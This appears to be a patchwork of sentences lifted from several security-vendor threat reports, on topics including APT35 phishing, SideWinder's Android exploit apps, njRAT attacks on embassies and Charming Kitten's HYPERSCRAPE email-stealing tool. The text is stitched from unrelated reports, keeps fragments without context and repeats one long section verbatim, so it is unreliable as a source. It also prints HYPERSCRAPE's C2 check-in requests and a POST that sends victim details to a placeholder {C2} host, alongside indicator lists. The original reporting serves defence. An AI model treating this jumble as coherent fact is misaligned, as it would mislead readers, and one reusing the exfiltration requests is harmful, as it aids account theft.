What a difference a year makes in the threat environment.


But when April 2017 came, Rig started a very marked decline.


As shown below, the volume of coinmining increase nearly 2,800% in a year.


We can’t say why this shift is happening.


It could be there is a shift from ransomware due to a declining return on investment because people no longer willing to pay ransom in the wake of WannaCry/ WanaCrypt0r, and Petya/NotPetya.


This post is also available in:      日本語 (Japanese)  As part of Palo Alto Networks Unit 42’s ongoing monitoring of the Shamoon 2 situation, we have updated information since our last posting Threat Brief: Second Wave of Shamoon 2 Attacks Reveal Possible New Tactic.


Since that Threat Brief, our Unit 42 researchers have become aware of another wave of Shamoon 2 attacks.


This third wave was set to wipe systems using the Disttrack malware on January 23, 2017.


In order to understand how this works, let’s first take a look at how Android installs apps.


Android supports the ability to install apps from the Google Play store as well as from the local file system.


Google Play downloads Android packages (APKs) to a protected space of the file system.


Both methods use a system application called PackageInstaller to complete the installation.


Let’s take a closer look at what happens.


Verified with Android OS source code posted in AOSP, it shows that the PackageInstaller on affected versions does not verify the APK file at the “Time of Use”.


This method has several stages:


Method B: Self modifying the APK  This exploit can take advantage of the same vulnerability to mask what permissions the app really requires.  This vulnerability affects Android device users as well as Android app developers.  For Android device users, the users may end up with installing apps that are not the ones they agree to install.  Android app developers are also affected, because app-store apps and mobile ads libraries that do not rely on Google Play store would be likely to save the promoted apps in unprotected storage, e.g. /sdcard.


According to source code posted on the AOSP website, Android 4.3_r0.9 introduced a hash check of the Android manifest that is verified between “Time to Check” and “Time to Use”.


For instance, we have successfully tested this exploit on Samsung Galaxy S4 Android phones running Android 4.3 (Build version JSS15J.I337UCUEMK2, Built on Nov. 16, 2013), and Amazon Fire OS version 13.3.2.5.


We encourage all Android device vendors to verify the existence of this vulnerability on their devices including those with Android 4.3.


Palo Alto Networks has published a vulnerability scanner app in the Google Play store.


From Google:  “Android Open Source Project includes patches for this issue for Android 4.3 and later.


Since late 2019, our team has disrupted financially motivated phishing campaigns targeting YouTubers with Cookie Theft malware.


The actors behind this campaign, which we attribute to a group of hackers recruited in a Russian-speaking forum, lure their target with fake collaboration opportunities (typically a demo for anti-virus software, VPN, music players, photo editing or online games), hijack their channel, then either sell it to the highest bidder or use it to broadcast cryptocurrency scams.


In collaboration with YouTube, Gmail, Trust & Safety, CyberCrime Investigation Group and Safe Browsing teams, our protections have decreased the volume of related phishing emails on Gmail by 99.6% since May 2021.


We blocked 1.6M messages to targets, displayed ~62K Safe Browsing phishing page warnings, blocked 2.4K files, and successfully restored ~4K accounts.


Moreover, to protect our users, we have referred the below activity to the FBI for further investigation.


Cookie Theft, also known as “pass-the-cookie attack,” is a session hijacking technique that enables access to user accounts with session cookies stored in the browser.


The phishing typically started with a customized email introducing the company and its products.


Once the target agreed to the deal, a malware landing page disguised as a software download URL was sent via email or a PDF on Google Drive, and in a few cases, Google documents containing the phishing links.


During the pandemic, we also uncovered attackers posing as news providers with a “Covid19 news software.”


Because Google actively detects and disrupts phishing links sent via Gmail, the actors were observed driving targets to messaging apps like WhatsApp, Telegram or Discord.


Some commodity malware used included RedLine, Vidar, Predator The Thief, Nexus stealer, Azorult, Raccoon, Grand Stealer, Vikro Stealer, Masad (Google’s naming), and Kantal (Google’s naming) which shares code similarity with Vidar.


Open source malware like Sorano and AdamantiumThief were also observed.


A few were observed displaying a fake error message requiring user click-through to continue execution.


On account-trading markets, hijacked channels ranged from $3 USD to $4,000 USD depending on the number of subscribers.


Our recommendations: Additional resources: Avoid & Report Phishing Emails.


Related Malware hashes: Top Phishing Domains:


We have a long-standing policy to send you a warning if we detect that your account is a target of government-backed phishing or malware attempts.


On any given day, TAG is tracking more than 270 targeted or government-backed attacker groups from more than 50 countries.


In this blog, we explore some of the most notable campaigns we’ve disrupted this year from a different government-backed attacker: APT35, an Iranian group, which regularly conducts phishing campaigns targeting high risk users.


In early 2021, APT35 compromised a website affiliated with a UK university to host a phishing kit.


Users were instructed to activate an invitation to a (fake) webinar by logging in.


The phishing kit will also ask for second-factor authentication codes sent to devices.


APT35 has relied on this technique since 2017 — targeting high-value accounts in government, academia, journalism, NGOs, foreign policy, and national security.


Credential phishing through a compromised website demonstrates these attackers will go to great lengths to appear legitimate – as they know it's difficult for users to detect this kind of attack.


In May 2020, we discovered that APT35 attempted to upload spyware to the Google Play Store.


Although Play Store users were protected, we are highlighting the app here as TAG has seen APT35 attempt to distribute this spyware on other platforms as recently as July 2021.


One of the most notable characteristics of APT35 is their impersonation of conference officials to conduct phishing attacks.


When they did, attackers sent them phishing links in follow-on correspondence.


Targets typically had to navigate through at least one redirect before landing on a phishing domain.


One of APT35’s novel techniques involves using Telegram for operator notifications.


The attackers embed javascript into phishing pages that notify them when the page has been loaded.


The attackers use this function to relay device-based data to the channel, so they can see details such as the IP, useragent, and locales of visitors to their phishing sites in real-time.


We warn users when we suspect a government-backed threat like APT35 is targeting them.


When a site identified by Safe Browsing as harmful appears in Google Search results, we show a warning next to it in the results.


Indicators from APT28 phishing campaign: service-reset-password-moderate-digital.rf[.]gd reset-service-identity-mail.42web[.]io digital-email-software.great-site[.]net  Indicators from APT35 campaigns:  Abused Google Properties: https://sites.google[.]com/view/ty85yt8tg8-download-rtih4ithr/ https://sites.google[.]com/view/user-id-568245/ https://sites.google[.]com/view/hhbejfdwdhwuhscbsb-xscvhdvbc/  Abused Dropbox Properties: https://www.dropbox[.]com/s/68y4vpfu8pc3imf/Iraq&Jewish.pdf


Phishing Domains: nco2[.]live summit-files[.]com filetransfer[.]club continuetogo[.]me accessverification[.]online customers-verification-identifier[.]site service-activity-session[.]online identifier-service-review[.]site recovery-activity-identification[.]site review-session-confirmation[.]site recovery-service-activity[.]site verify-service-activity[.]site service-manager-notifications[.]info


Android App: https://www.virustotal.com/gui/file/5d3ff202f20af915863eee45916412a271bae1ea3a0e20988309c16723ce4da5/detection  Android App C2: communication-shield[.]site cdsa[.]xyz


Understanding the techniques used by attackers helps us counter these threats effectively.


We believe this is a technique the attacker is using to evade detection rules.


Code signatures on Windows executables provide guarantees about the integrity of a signed executable, as well as information about the identity of the signer.


Since mid-August, OpenSUpdater samples have carried an invalid signature, and further investigation showed this was a deliberate attempt to evade detection.


Bytes: 30 0D 06 09 2A 86 48 86  F7 0D 01 01 0B 00 00


As shown in the following screenshot, the signature is considered to be valid by the Windows operating system.


Since first discovering this activity, OpenSUpdater's authors have tried other variations on invalid encodings to further evade detection.


The following are samples using this evasion: https://www.virustotal.com/gui/file/5094028a0afb4d4a3d8fa82b613c0e59d31450d6c75ed96ded02be1e9db8104f/detection New variant: https://www.virustotal.com/gui/file/5c0ff7b23457078c9d0cbe186f1d05bfd573eb555baa1bf4a45e1b79c8c575db/detection


Updated January 8, 2020 5PM EST with a video showing the exploit of  CVE-2019-2215.


One of these apps, called Camero, exploits CVE-2019-2215, a vulnerability that exists in Binder (the main Inter-Process Communication system in Android).


This is the first known active attack in the wild that uses the use-after-free vulnerability.


We speculate that these apps have been active since March 2019 based on the certificate information on one of the apps.


The apps have since been removed from Google Play.


Figure 1. The three apps related to SideWinder group  Figure 2.


Certificate information of one of the apps Installation SideWinder installs the payload app in two stages.


We found that the group employs Apps Conversion Tracking to configure the C&C server address.


The address was encoded by Base64 then set to referrer parameter in the URL used in the distribution of the malware.


Figure 3.


Parsed C&C Server address


All of this is done without user awareness or intervention.


After downloading the extra DEX file from the C&C server, the second-layer droppers invoke extra code to download, install, and launch the callCam app on the device.


Figure 4. Two-stage payload deployment  Figure 5. Code showing how the dropper invokes extra DEX code To deploy the payload app callCam on the device without the user’s awareness


, SideWinder does the following:  1. Device Rooting  This approach is done by the dropper app Camero and only works on Google Pixel (Pixel 2, Pixel 2 XL), Nokia 3 (TA-1032), LG V20 (LG-H990), Oppo F9 (CPH1881), and Redmi 6A devices.


The malware retrieves a specific exploit from the C&C server depending on the DEX downloaded by the dropper.


Figure 6.


Code snippet from Extra DEX downloaded by Camero


We were able to download five exploits from the C&C server during our investigation.


MediaTek-SU exploit


After acquiring root privilege, the malware installs the app callCam, enables its accessibility permission, and then launches it.  Figure 9.


Commands


After its launch, the app asks the user to enable accessibility.


Figure 10. Steps FileCrypt Manager prompts user to do


Once granted, the app shows a full screen window that says that it requires further setup steps.


In reality, that is just an overlay screen that is displayed on top of all activity windows on the device.


Overlay screen


Meanwhile, the app invokes code from the extra DEX file to enable the installation of unknown apps and the installation of the payload app callCam.


All of this happens behind the overlay screen, unbeknownst to the user.


Code enable accessibility permission of the newly installed app


&amp;amp;amp;amp;nbsp;   callCam’s Activities


The app callCam hides its icon on the device after being launched.


Sensor information Camera information Screenshot Account Wifi information


Data of WeChat, Outlook, Twitter, Yahoo Mail, Facebook, Gmail, and Chrome  The app encrypts all stolen data using RSA and AES encryption algorithms.


When encrypting, it creates a block of data we named headData.


This block contains the first 9 bytes of origin data, origin data length, random AES IV, the RSA-encrypted AES encrypt key, and the SHA256 value of AES-encrypted origin data.


Then the headData is encoded through the customized routine.


After the encoding, it is stored in the head of the final encrypted file followed by the data of the AES-encrypted original data.


Figure 14.


Data encryption process  Figure 15.


Customized encoding routine done Relation to SideWinder


In addition, a URL linking to one of the apps’ Google Play pages is also found on one of the C&C servers.


Figure 16.


Google Play URL of FileManager app found in one of the C&C servers.


Trend Micro’s Mobile App Reputation Service (MARS) covers Android and iOS threats using leading sandbox and machine learning technologies to protect users against malware, zero-day and known exploits, privacy leaks, and application vulnerabilities.     Indicators of Compromise    SHA256 Package Name/File type App Name/Detection Name ec4d6bf06dd3f94f4555d75c6daaf540dee15b18d62cc004e774e996c703cb34 DEX AndroidOS_SWinderSpy.HRXA a60fc4e5328dc75dad238d46a2867ef7207b8c6fb73e8bd001b323b16f02ba00 DEX AndroidOS_SWinderSpy.HRXA


ELF AndroidOS_MtkSu.A 441d98dff3919ed24af7699be658d06ae8dfd6a12e4129a385754e6218bc24fa ELF AndroidOS_BinderExp.A ac82f7e4831907972465477eebafc5a488c6bb4d460575cd3889226c390ef8d5 ELF AndroidOS_BinderExp.A ee679afb897213a3fd09be43806a7e5263563e86ad255fd500562918205226b8 ELF AndroidOS_BinderExp.A 135cb239966835fefbb346165b140f584848c00c4b6a724ce122de7d999a3251 ELF


AndroidOS_MtkSu.A a265c32ed1ad47370d56cbd287066896d6a0c46c80a0d9573d2bb915d198ae42 com.callCam.android.callCam2base callCamm


FileCrypt Manager com.callCam.android.callCam2base callCamm com.camero.android.camera2basic Camero


C&C Servers  ms-ethics.net


deb-cn.net ap1-acl.net m s-db.net


Figure 1. Diagram showing how the BEC scam is carried out      Background


Thank you for your understanding.


The email contained two PDF file attachments.


Figure 3. Letter confirming the changes in the company’s bank reference.


Meanwhile, the second PDF file shows the banking account reference number:      Figure 4.


Initial investigation


A perceptive employee could potentially identify this as something unusual, which raises red flags.


Figure 5.


The PDF file showing the banking account reference.


We investigated the name shown on the account but did not find any useful information other than the fact that this name is used mostly in the Ivory Coast in Africa.


Table 1. Domains registered using the email address


This is BEC as we usually know it.


A little over two weeks before the registration of the fake domain, the attackers sent the following email to the company:      Figure 6.


The initial email sent by the malicious actors, allegedly from the General Directorate of Public Finances (DGFiP) of France, concerning tax inquiries     The email contained an attached PDF file that seemed to be a letter from the French Tax service:      Figure 7.


While thanking you for your cooperation, please believe in the assurance of my distinguished feelings.


The use of tax-related scams is something we’ve seen before.


We also helped close the fraudulent domains.


As such, here are some tips on how to stay safe from these online schemes:  Carefully scrutinize all emails.


Raise employee awareness.


Always verify requests.


Indicators of Compromise (IoCs) Domains  dgfip-finances-gouv[.]cloud  bellingstudio@gmail.com      Tags


This highlights how the cybercrime underground in the Middle East/North African region (covered in our paper titled Digital Souks: A Glimpse into the Middle Eastern and North African Underground) can expand their activity into areas beyond their original area of expertise.


DiscoveryOur first inkling of this threat came when we spotted a spear-phishing email campaign targeting several embassies of various European countries.


Once the multiple layers of script obfuscation are removed, the final payload arrives—a version of the njRAT Trojan; this family has been a known threat since 2015.


The obfuscation used was not particularly sophisticated.


We believe that this specific VBS obfuscation script was created by the N7r team, a North African hacking group known for making video tutorials on using common RATs (that this particular script wasn’t part of any such videos).


The new emails used more common phishing tactics, such as alleged requests for payment confirmation.


At least one message was sent to a diplomat based in the island of Saint Martin after Hurricane Irma hit.


The attachments used in this second wave was more sophisticated, but barely so.


The payload was still njRAT.


These Yara rules allowed us to find other samples, which delivered other basic RATs like H-Worm, Luminosity, and RemCOS.


Some of these domains were also tied to banking malware, confirming our attacker was not limited to embassies.


OPSEC 101 – Or How Not To Do OPSECGathering the above information was enough to protect our customers.


The attacker almost always sent his mails from a Libyan IP address.


In some cases, compromised SMTP servers belonging to the hotels he had breached were used.


He didn’t bother using services which hid his IP addresses from mail headers, which allowed us to correlate these addresses to a dynamic DNS domain used by the attacker.


We also checked the registrant data of the domains used by the attacker.


This information was exceptionally useful, as it allowed us to find multiple Facebook accounts controlled by the threat actor.


We then confirmed his location (Libya) as well as his probable identity.


Figure 1. Stolen document posted on Facebook (Click to enlarge)


He didn't just post embassy documents on Facebook: he also posted stolen credit cards and screens of defaced websites.


Figure 2. Stolen credit cards (Click to enlarge)


This threat actor first published stolen documents in April 2016.


His motives remain unclear since the documents themselves did not contain any particularly unusual information.


Indicators of CompromiseFiles with the following hashes were used in the first series of attacks:  cd8329f75b1393ead3e16c6c79ee1ab476e6487370481e5931feb63305f00983 – detected as VBS_KEYLOG.NYKW f46f0e8eed0361294200d64e87b3fb13f6a3797f99f5b588444534f27612a590 – archive file;


contents detected as VBS_KEYLOG.NYKW fd883a978dd6d95fa5c3b5e0a154e0e07b06e7cb6c685f1ca9f58c73122df24d – archive file; contents detected as VBS_KEYLOG.NYKW 7413c7c0317e49e49d595408f721c2ab2f120215374accf2f8133c9d9ad603fb – detected as WORM_DUNIHI.AUSHH 89427241e26748949c235fc43805c72960d9c2711fa72036c33137648bb475fa – detected as VBS_REMCOS.B


Files with the following hashes were used in the second series of attacks:  fb5b5906feab268f90789b15351b8a193fb5f445a3ae9afb1da8fb814ed80325 – detected as VBS_KEYLOG.NYKW 306f4f843c5a5a119a3385ad2b18c78a04fac618031ddecabf0633083a6c9a76 – detected as VBS_KEYLOG.NYKW 33709ca050fd0abc2aba38326996bf1c3b6d9b875228c9f15e624f9002c199a8 – detected as VBS_OBFUS.VUJ ff0f9057d3da7b3500f145ce24670c89a93cdb5cbe74946b17397fc466ddfbda – detected as VBS_AUTORUN.ASUHK 9b7cc8f4807df162f99f5fa592bc7cc5c6a756d9c0311c7b2529f19a0ac59c1a – archive file; contents detected as VBS_OBFUS.VUK 587e38fb11bd0c4021ce6965e92838521616ee4c5506ef0fa160452e9c71d5cf – detected as VBS_OBFUS.VUK         Tags  APT & Targeted Attacks | Malware | Research | Articles, News, Reports


In December 2021, TAG discovered a novel Charming Kitten tool, named HYPERSCRAPE, used to steal user data from Gmail, Yahoo!, and Microsoft Outlook accounts.


The attacker runs HYPERSCRAPE on their own machine to download victims’ inboxes using previously acquired credentials.


We have seen it deployed against fewer than two dozen accounts located in Iran.


HYPERSCRAPE demonstrates Charming Kitten’s commitment to developing and maintaining purpose-built capabilities.


Like much of their tooling, HYPERSCRAPE is not notable for its technical sophistication, but rather its effectiveness in accomplishing Charming Kitten’s objectives.


HYPERSCRAPE requires the victim’s account credentials to run using a valid, authenticated user session the attacker has hijacked, or credentials the attacker has already acquired.


HYPERSCRAPE won't run unless in a directory with other file dependencies.


In later versions it was obfuscated with Base64.


GET http://{C2}/Index.php?Ck=OK HTTP/1.1


Accept-Encoding: gzip Connection: Keep-Alive


A new form is displayed if the information is not provided via command prompt.


Again, the response is expected to be "OK".


GET http://{C2}/Index.php?vubc={identity} HTTP/1.1


A new folder named "Download" is created adjacent to the main binary.


The browser then navigates to Gmail to begin the data collection.


If the cookies failed to provide access to the account, a login page is displayed and the attacker can manually enter credentials to proceed, as the program will wait until it finds the inbox page.


Once the attacker has logged in to the victim’s account, HYPERSCRAPE checks to see if the language is set to English, changing it if not.


The language is returned to its original setting when the run is finished.


HYPERSCRAPE then begins iterating through all available tabs in the inbox looking for emails to download.


A log file is written containing a count of the emails that were downloaded.


POST http://{C2}/?Key={GUID}&Crc={Identifier} { "appName": "Gmail Downloader", "targetname": "{Email}", "HostName": "REDACTED", "srcUserIP": "REDACTED", "actionType": "First", "timeOccurrence": "05/01/2022 05:50:31 PM", "OS": "REDACTED", "OSVersion": "REDACTED", "SystemModel": "REDACTED", "SystemType": "REDACTED", "srcName": "REDACTED", "srcOrgName": "REDACTED" }


x.TextContent.StartsWith("Access for less secure apps has been turned on") ||


x.TextContent.StartsWith("Review blocked sign-in attempt") || x.TextContent.


x.TextContent.StartsWith("Access for less secure apps has been turned on") select x).ToList


GeckoHtmlElement > (


public void ManageTakeOut() { string text = "PipeName";


jsonInfo.Data = this.OperationObject.GetUsername(); pipeCommunication.Write(jsonInfo); break; } }


pipeCommunication.Close(); }


We’ll also continue to apply those findings internally to improve the safety and security of our products so we can effectively combat threats and protect users who rely on our services.


C2s 136.243.108.14 173.209.51.54 HYPERSCRAPE binaries


03d0e7ad4c12273a42e4c95d854408b98b0cf5ecf5f8c5ce05b24729b6f4e369 35a485972282b7e0e8e3a7a9cbf86ad93856378fd96cc8e230be5099c4b89208 5afc59cd2b39f988733eba427c8cf6e48bd2e9dc3d48a4db550655efe0dca798 6dc0600de00ba6574488472d5c48aa2a7b23a74ff1378d8aee6a93ea0ee7364f 767bd025c8e7d36f64dbd636ce0f29e873d1e3ca415d5ad49053a68918fe89f4 977f0053690684eb509da27d5eec2a560311c084a4a133191ef387e110e8b85f ac8e59e8abeacf0885b451833726be3e8e2d9c88d21f27b16ebe00f00c1409e6 cd2ba296828660ecd07a36e8931b851dda0802069ed926b3161745aae9aa6daa Microsoft Live DLL 1a831a79a932edd0398f46336712eff90ebb5164a189ef38c4dacc64ba84fe23 PDB E:\Working\Projects\EmailDownloader\EmailDownloaderCookieMode\EmailDownloader\obj\Debug\EmailDownloader.pdb E:\Working\Projects\EmailDownloader\EmailDownloaderCookieMode\Mahdi\LiveLib\obj\Release\LiveLib.pdb


This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q2 2022.


It was last updated on July 29, 2022.


We use our research to continuously improve the safety and security of our products and share this intelligence with our industry peers.


And we don’t just plug security holes – we work to eliminate entire classes of threats for consumers and businesses whose work depends on the Internet.


We observed fewer than three dozen installs of this spyware.


NSO Group continues to pose risks across the Internet ecosystem.


In 2019, we confronted the risks posed by NSO Group again, relying upon NSO Groups’s marketing information suggesting that they had a 0-day exploit for Android.


In December 2021, we released research about novel techniques used by NSO Group to compromise iMessage users.


We believe its use is growing, fueled by demand from governments.


We have also observed proliferation risk from nation state actors attempting to gain access to the exploits of these vendors.


While vulnerability research is an important contributor to online safety when that research is used to improve the security of products, vendors stockpiling zero-day vulnerabilities in secret can pose a severe risk to the Internet when the vendor itself gets compromised.


This has happened to multiple spyware vendors over the past ten years, raising the specter that their stockpiles can be released publicly without warning.


The proliferation of commercial hacking tools is a threat to national security, making the Internet less safe and undermining the trust on which a vibrant, inclusive digital society depends.


Safe Browsing also notifies webmasters when their websites are compromised by malicious actors and helps them diagnose and resolve the problem so that their visitors stay safer.


On Gmail, we recommend certain Gmail security precautions to prevent spoofing, phishing, and spam.


We use email authentication to protect against email spoofing, which is when email content is changed to make the message appear from someone or somewhere other than the actual source.


And we offer other advanced phishing and malware protection to administrators to better protect their users.


During the development stage, Android-created and open source components are subject to vigorous security reviews


For users, Android provides safety and control over how apps and third parties can access the data from their devices.


APP has a strong track record protecting users – since the program’s inception, there are no documented cases of an account compromise via phishing.


The first step is to understand the scope of the problem.


Any one government’s ability to meaningfully impact this market is limited; only through a concerted international effort can this serious risk to online safety be mitigated.


While we continue to fight these threats on a technical level, the providers of these capabilities operate openly in democratic countries.


With so much diversity in the attack surface, it’s important to leverage security best practices to manage your cyber risk.


Get advice here: https://success.trendmicro.com


Pay close attention to unrecognized network traffic (both inbound and outbound) and watch for sophisticated new phishing attacks.


Where possible, reduce your attack surface.


How to do that?


Our research teams and threat hunters will work vigilantly to monitor and identify any new threat intelligence and will continue to share updates here: trendmicro.com/ukrainecrisis.


This blog has been revised to include new facts that have been released since the original posting.


Tags  Cloud | Cyber Crime | Exploits & Vulnerabilities | Expert Perspective | Phishing | Cyber Threats | APT & Targeted Attacks | Endpoints | Mobile | Articles, News, Reports


This is the second directive the TSA issued to the pipeline sector this 2021, building on the initial Security Directive released on May 2021 following the ransomware attack on Colonial Pipeline by DarkSide.


Since late 2019, our team has disrupted financially motivated phishing campaigns targeting YouTubers with Cookie Theft malware.


The actors behind this campaign, which we attribute to a group of hackers recruited in a Russian-speaking forum, lure their target with fake collaboration opportunities (typically a demo for anti-virus software, VPN, music players, photo editing or online games), hijack their channel, then either sell it to the highest bidder or use it to broadcast cryptocurrency scams.


In collaboration with YouTube, Gmail, Trust & Safety, CyberCrime Investigation Group and Safe Browsing teams, our protections have decreased the volume of related phishing emails on Gmail by 99.6% since May 2021.


We blocked 1.6M messages to targets, displayed ~62K Safe Browsing phishing page warnings, blocked 2.4K files, and successfully restored ~4K accounts.


Moreover, to protect our users, we have referred the below activity to the FBI for further investigation.


Cookie Theft, also known as “pass-the-cookie attack,” is a session hijacking technique that enables access to user accounts with session cookies stored in the browser.


The phishing typically started with a customized email introducing the company and its products.


Once the target agreed to the deal, a malware landing page disguised as a software download URL was sent via email or a PDF on Google Drive, and in a few cases, Google documents containing the phishing links.


During the pandemic, we also uncovered attackers posing as news providers with a “Covid19 news software.”


Because Google actively detects and disrupts phishing links sent via Gmail, the actors were observed driving targets to messaging apps like WhatsApp, Telegram or Discord.


Some commodity malware used included RedLine, Vidar, Predator The Thief, Nexus stealer, Azorult, Raccoon, Grand Stealer, Vikro Stealer, Masad (Google’s naming), and Kantal (Google’s naming) which shares code similarity with Vidar.


Open source malware like Sorano and AdamantiumThief were also observed.


A few were observed displaying a fake error message requiring user click-through to continue execution.


On account-trading markets, hijacked channels ranged from $3 USD to $4,000 USD depending on the number of subscribers.


Our recommendations: Additional resources: Avoid & Report Phishing Emails.


Related Malware hashes: Top Phishing Domains:


We have a long-standing policy to send you a warning if we detect that your account is a target of government-backed phishing or malware attempts.


On any given day, TAG is tracking more than 270 targeted or government-backed attacker groups from more than 50 countries.


In this blog, we explore some of the most notable campaigns we’ve disrupted this year from a different government-backed attacker: APT35, an Iranian group, which regularly conducts phishing campaigns targeting high risk users.


In early 2021, APT35 compromised a website affiliated with a UK university to host a phishing kit.


Users were instructed to activate an invitation to a (fake) webinar by logging in.


The phishing kit will also ask for second-factor authentication codes sent to devices.


APT35 has relied on this technique since 2017 — targeting high-value accounts in government, academia, journalism, NGOs, foreign policy, and national security.


Credential phishing through a compromised website demonstrates these attackers will go to great lengths to appear legitimate – as they know it's difficult for users to detect this kind of attack.


In May 2020, we discovered that APT35 attempted to upload spyware to the Google Play Store.


Although Play Store users were protected, we are highlighting the app here as TAG has seen APT35 attempt to distribute this spyware on other platforms as recently as July 2021.


One of the most notable characteristics of APT35 is their impersonation of conference officials to conduct phishing attacks.


When they did, attackers sent them phishing links in follow-on correspondence.


Targets typically had to navigate through at least one redirect before landing on a phishing domain.


One of APT35’s novel techniques involves using Telegram for operator notifications.


The attackers embed javascript into phishing pages that notify them when the page has been loaded.


The attackers use this function to relay device-based data to the channel, so they can see details such as the IP, useragent, and locales of visitors to their phishing sites in real-time.


We warn users when we suspect a government-backed threat like APT35 is targeting them.


When a site identified by Safe Browsing as harmful appears in Google Search results, we show a warning next to it in the results.


Indicators from APT28 phishing campaign: service-reset-password-moderate-digital.rf[.]gd reset-service-identity-mail.42web[.]io digital-email-software.great-site[.]net  Indicators from APT35 campaigns:  Abused Google Properties: https://sites.google[.]com/view/ty85yt8tg8-download-rtih4ithr/ https://sites.google[.]com/view/user-id-568245/ https://sites.google[.]com/view/hhbejfdwdhwuhscbsb-xscvhdvbc/  Abused Dropbox Properties: https://www.dropbox[.]com/s/68y4vpfu8pc3imf/Iraq&Jewish.pdf


Phishing Domains: nco2[.]live summit-files[.]com filetransfer[.]club continuetogo[.]me accessverification[.]online customers-verification-identifier[.]site service-activity-session[.]online identifier-service-review[.]site recovery-activity-identification[.]site review-session-confirmation[.]site recovery-service-activity[.]site verify-service-activity[.]site service-manager-notifications[.]info


Android App: https://www.virustotal.com/gui/file/5d3ff202f20af915863eee45916412a271bae1ea3a0e20988309c16723ce4da5/detection  Android App C2: communication-shield[.]site cdsa[.]xyz


Understanding the techniques used by attackers helps us counter these threats effectively.


We believe this is a technique the attacker is using to evade detection rules.


Code signatures on Windows executables provide guarantees about the integrity of a signed executable, as well as information about the identity of the signer.


Since mid-August, OpenSUpdater samples have carried an invalid signature, and further investigation showed this was a deliberate attempt to evade detection.


Bytes: 30 0D 06 09 2A 86 48 86  F7 0D 01 01 0B 00 00


As shown in the following screenshot, the signature is considered to be valid by the Windows operating system.


Since first discovering this activity, OpenSUpdater's authors have tried other variations on invalid encodings to further evade detection.


The following are samples using this evasion: https://www.virustotal.com/gui/file/5094028a0afb4d4a3d8fa82b613c0e59d31450d6c75ed96ded02be1e9db8104f/detection


New variant: https://www.virustotal.com/gui/file/5c0ff7b23457078c9d0cbe186f1d05bfd573eb555baa1bf4a45e1b79c8c575db/detection


The four exploits were used as a part of three different campaigns.


The links led to attacker-controlled domains that mimicked legitimate websites related to the targeted users.


The information collected from the fingerprinting phase included screen resolution, timezone, languages, browser plugins, and available MIME types.


In our environment, we did not receive any payloads past this stage.


Related IOCs lragir[.]org armradio[.]org asbares[.]com armtimes[.]net armlur[.]org armenpress[.]org hraparak[.]org armtimes[.]org hetq[.]org


After a fingerprinting phase, similar to the one used with the Chrome exploit above, users were served an Internet Explorer 0-day.


We did not recover additional payloads in our environment.


During our investigation we discovered several documents uploaded to VirusTotal.


Related IOCs


Examples of related Office documents uploaded to VirusTotal: https://www.virustotal.com/gui/file/656d19186795280a068fcb97e7ef821b55ad3d620771d42ed98d22ee3c635e67/detection https://www.virustotal.com/gui/file/851bf4ab807fc9b29c9f6468c8c89a82b8f94e40474c6669f105bce91f278fdb/detection


Unique URLs serving CVE-2021-33742 Internet Explorer exploit: http://lioiamcount[.]com/IsnoMLgankYg6/EjlYIy7cdFZFeyFqE4IURS1 http://db-control-uplink[.]com/eFe1J00hISDe9Zw/gzHvIOlHpIXB http://kidone[.]xyz/VvE0yYArmvhyTl/GzV


Word documents with the following classid: {EAB22AC3-30C1-11CF-A7EB-0000C05BAE0B} Related infrastructure: workaj[.]com wordzmncount[.]com Not all attacks require chaining multiple 0-day exploits to be successful.


(NOTE: This exploit is not connected to the other three we’ve discussed above.)


The victim would need to have a session open on these websites from Safari for cookies to be successfully exfiltrated.


There was no sandbox escape or implant delivered via this exploit.


The exploit targeted iOS versions 12.4 through 13.7.


Related IOCs supportcdn.web[.]app vegmobile[.]com 111.90.146[.]198


Increased Utilization


In the mid-to-late 2010s, more private companies have joined the marketplace selling these 0-day capabilities.


No longer do groups need to have the technical expertise, now they just need resources.


We encourage anyone who discovers a Chrome vulnerability to report that activity through the Chrome Vulnerabilities Rewards Program submission process.


Their blog contains write-ups and analysis of vulnerabilities that have been publicly disclosed, including “guest” posts from unwitting legitimate security researchers, likely in an attempt to build additional credibility with other security researchers.


In the video, they purported to show a successful working exploit that spawns a cmd.exe shell, but a careful review of the video shows the exploit is fake.


Within the Visual Studio Project would be source code for exploiting the vulnerability, as well as an additional DLL that would be executed through Visual Studio Build Events.


The DLL is custom malware that would immediately begin communicating with actor-controlled C2 domains.


In addition to targeting users via social engineering, we have also observed several cases where researchers have been compromised after visiting the actors’ blog.


We encourage anyone who discovers a Chrome vulnerability to report that activity via the Chrome VRP submission process.


If you have communicated with any of these accounts or visited the actors’ blog, we suggest you review your systems for the IOCs provided below.


Host IOCs Registry Keys HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\KernelConfig HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\DriverConfig HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SSL Update File Paths C:\Windows\System32\Nwsapagent.sys C:\Windows\System32\helpsvc.sys C:\ProgramData\USOShared\uso.bin C:\ProgramData\VMware\vmnat-update.bin C:\ProgramData\VirtualBox\update.bin


This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q4 2020.


It was last updated on January 26, 2021.


We terminated 12 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Russia.


We received leads from Facebook that supported us in this investigation.


We terminated 2 YouTube channels as part of our investigation into coordinated influence operations linked to Myanmar.


We terminated 35 YouTube channels as part of our investigation into coordinated influence operations linked to Azerbaijan.


We received leads from the FBI that supported us in this investigation.


We terminated 2 YouTube channels as part of our ongoing investigation into a coordinated influence operation linked to Iran.


We terminated 10 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Russia.


We terminated 22 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Indonesia.


We terminated 3 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Iran.


We terminated 9 YouTube channels as part of our investigation into a coordinated influence operation linked to Egypt.


We terminated 6 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Iran.


We terminated 1 YouTube channel as part of our ongoing investigation into coordinated influence operations linked to Myanmar.


We terminated 1 blog as part of our investigation into coordinated influence operations linked to Argentina.


We terminated 3 YouTube channels as part of our investigation into coordinated influence operations linked to France.


We terminated 34 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Myanmar.


We terminated 3,317 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to China.


In June, we announced that we saw phishing attempts against the personal email accounts of staffers on the Biden and Trump campaigns by Chinese and Iranian APTs (Advanced Persistent Threats) respectively.


We haven’t seen any evidence of such attempts being successful.


